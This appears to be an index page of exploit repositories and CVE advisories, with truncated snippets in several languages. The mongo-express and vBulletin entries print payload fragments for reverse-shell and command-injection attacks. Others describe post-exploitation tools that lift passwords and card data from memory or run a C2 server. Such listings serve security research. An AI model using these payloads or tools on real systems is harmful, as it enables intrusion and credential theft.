CVE-2024-24919

ES Es un script de Prueba de Concepto PoC para verificar la vulnerabilidad CVE-2024-24919. El script está diseñado para enviar solicitudes HTTP POST a URL específicas y analizar las respuestas en busca de posibles problemas de seguridad, como acceso no autorizado o fugas de datos sensibles. El...

XSS-CVE-2022-30489

WAVLINK WN535G3 POST XSS Usar CVE-2022-30489 CARGA POST /cgi-bin/login.cgi HTTP/1.1 Host: 98.127.66.193 Content-Length: 255 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://98.127.66.193 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Windows NT 10.0;...

CVE-2025-55182-burpscanner

CVE-2025-55182-burpscanner 基于 CVE-2025-55182 漏洞检测 burpsuite 被动扫描插件, 使用 JDK 17 插件使用： 默认扫描history / 右键主动扫描，识别到漏洞会自动到 CVE-2025-55182 模块 Deduplication（去重机制） 在扫描过程中，为避免重复记录相同漏洞，本工具采用基于 host + path 的唯一性判断： 使用 host + path 作为漏洞记录的唯一标识 当新漏洞与旧记录的唯一标识相同，新记录会覆盖旧记录 防止因参数不同或重复扫描导致的数据重复 GET/POST...

CVE-2025-25062

CVE-2025-25062 Descripción Uso Ejemplo Cronología Descripción Existe una vulnerabilidad de Cross-Site Scripting XSS almacenado en la página de edición de entradas de Backdrop CMS 1.29.2. Este script encadena la vulnerabilidad con una carga útil CSRF para lograr una escalada de privilegios desde e...

mimikittenz

mimikittenz mimikittenz 是一款后渗透 PowerShell 工具，利用 Windows 函数 ReadProcessMemory 从各类目标进程中提取明文密码。 mimikittenz 还可以通过正则模式轻松从目标进程中提取其他有价值的信息，包括但不限于： 来自商户/POS 进程的 TRACK2（信用卡）数据 PII 数据 加密密钥及其他所有好东西 注意 ：此工具针对运行中的进程内存地址空间，一旦进程被终止，其内存“应当”被清理并无法访问，但在某些边缘情况下不会发生这种情况。 截图 描述 mimikittenz...

CVE-2019-10758

CVE-2019-10758 mongo-express远程代码执行，反弹shell代码如下： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat /tmp/f |...

CVE-2019-20197

Nagios XI远程命令执行漏洞CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8...

Typecho-Multiple-Vulnerabilities

Múltiples Vulnerabilidades en Typecho Este repositorio contiene los exploits de las siguientes vulnerabilidades: CVE-2024-35538: En Typecho v1.3.0 existe una vulnerabilidad de Suplantación de IP del Cliente, que permite a actores maliciosos falsificar sus direcciones IP especificando una IP...

CVE-2026-105798

SimpleChat is a secure AI conversation application with personal and group workspaces for document-grounded interactions. Prior to 0.261.029, POST /api/groupdocuments/upload stores an attacker-controlled group document filename that groupworkspaces.html later interpolates into inline Share event...

NetRipper

描述 NetRipper是一个针对Windows系统的后利用工具，它使用API钩子技术，从低权限用户处拦截网络流量和加密相关函数，能够捕获纯文本流量以及加密前的明文/解密后的明文流量。 NetRipper曾在Defcon 23（内华达州拉斯维加斯）发布。 法律免责声明 在未事先获得双方同意的情况下使用NetRipper攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，也不对因使用本程序而导致的任何误用或损害负责！ 摘要...

cryptoptic

cryptoptic Encuentra la criptografía que se esconde en tu código antes de que los ordenadores cuánticos la encuentren por ti. cryptoptic utiliza CodeQL y GitHub Actions para escanear un repositorio o una organización completa de GitHub y producir un inventario de cada función criptográfica en uso...

LR-WebPKI

Artefacto de Evaluación WebPKI LR+ Este paquete contiene la implementación de referencia finalizada de LR+, envoltorios de reconstrucción de producción, pruebas y resultados de evaluación generados para la autenticación post-cuántica de contexto cerrado sobre el contexto de CA WebPKI. El paquete...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring !IMPORTANT 仅供学习交流，请勿用于非法用途 exploit by python 如有帮助，点个star 参考： https://github.com/luelueking/CVE-2022-25845-In-Spring Usage 根据需要自行修改传参逻辑，这里是默认POST的请求体传参 git clone https://github.com/ph0ebus/CVE-2022-25845-In-Spring.git cd CVE-2022-25845-In-Spring python3 exp.py...

EUVD-2026-93426

SimpleChat is a secure AI conversation application with personal and group workspaces for document-grounded interactions. In versions 0.261.003 and 0.261.027, an authorization ordering flaw in POST /api/user/plugins allows an authenticated low-privileged user to omit the top-level MCP type so tha...

CVE-2026-105797

In SimpleChat versions 0.261.003 and 0.261.027 , an authorization ordering flaw in POST /api/user/plugins enables an authenticated low-privileged user to bypass security checks. By omitting the top-level MCP type , the _reject_non_admin_mcp_stdio inspection is skipped before the type is restored ...

CVE-2026-105797 SimpleChat: Command injection via authorization-gate ordering flaw (arbitrary process spawn through MCP stdio transport)

SimpleChat is a secure AI conversation application with personal and group workspaces for document-grounded interactions. In versions 0.261.003 and 0.261.027, an authorization ordering flaw in POST /api/user/plugins allows an authenticated low-privileged user to omit the top-level MCP type so tha...

CVE-2025-58434-PoC

PoC de CVE-2025-58434 Script de prueba de concepto en Python para activar POST /api/v1/account/forgot-password. ⚠️ Solo con fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posees o sin permiso por escrito para probar es ilegal. Créditos...

CVE-2020-17496

CVE-2020-17496 POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo shellexec"pwd"; exit;...

byob

有问题？ 请查看文档或加入我们的 Discord 支持服务器 免责声明 ：本项目应仅用于授权测试或教育目的。 BYOB 是一个面向学生、研究人员和开发者的开源后渗透框架。其功能包括： 具有直观用户界面的命令与控制服务器 支持多平台的自定义载荷生成器 12 个后渗透模块 它旨在让学生和开发者能够轻松实现自己的代码并添加炫酷的新功能， 无需 从头编写 C2 服务器或远程管理工具。 本项目包含 2 个主要部分：原始的基于控制台的应用程序 /byob 和 Web 图形界面 /web-gui。 Web 图形界面 仪表板 C2...

CVE-2025-53770

CVE-2025-53770 这是一个针对 SharePoint 未认证远程代码执行漏洞 的扫描器，漏洞编号为 CVE-2025-53770。 该代码是通过逆向分析一个在野外见到的 payload 编写的。 使用风险自负，我对可能造成的任何负面影响概不负责。 它是如何工作的？ 它尝试通过向 SharePoint ToolBox 控件中注入一个标记来利用该漏洞。 如果在 SharePoint 服务器的响应中找到这个无害的标记，则该主机被标记为易受攻击。 如何使用 检查 是否易受攻击，并尝试提取版本信息 % ./CVE-2025-53770 ... INFO0000 set log leve...